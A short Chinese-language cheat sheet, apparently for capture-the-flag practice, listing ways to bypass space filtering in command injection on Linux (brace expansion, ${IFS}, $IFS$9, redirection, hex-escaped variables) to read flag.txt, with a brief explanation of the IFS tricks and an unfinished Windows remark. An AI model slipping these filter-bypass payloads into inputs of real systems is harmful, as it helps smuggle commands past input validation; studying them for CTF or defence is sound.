目录
命令执行绕过方式总结
- 空格过滤
linux
{
cat,flag.txt}
cat${
IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
${IFS},$IFS,$IFS$9
的区别
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
至于为什么要用$9,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
windows
(实用性不是很广,也就type这个命令可以用)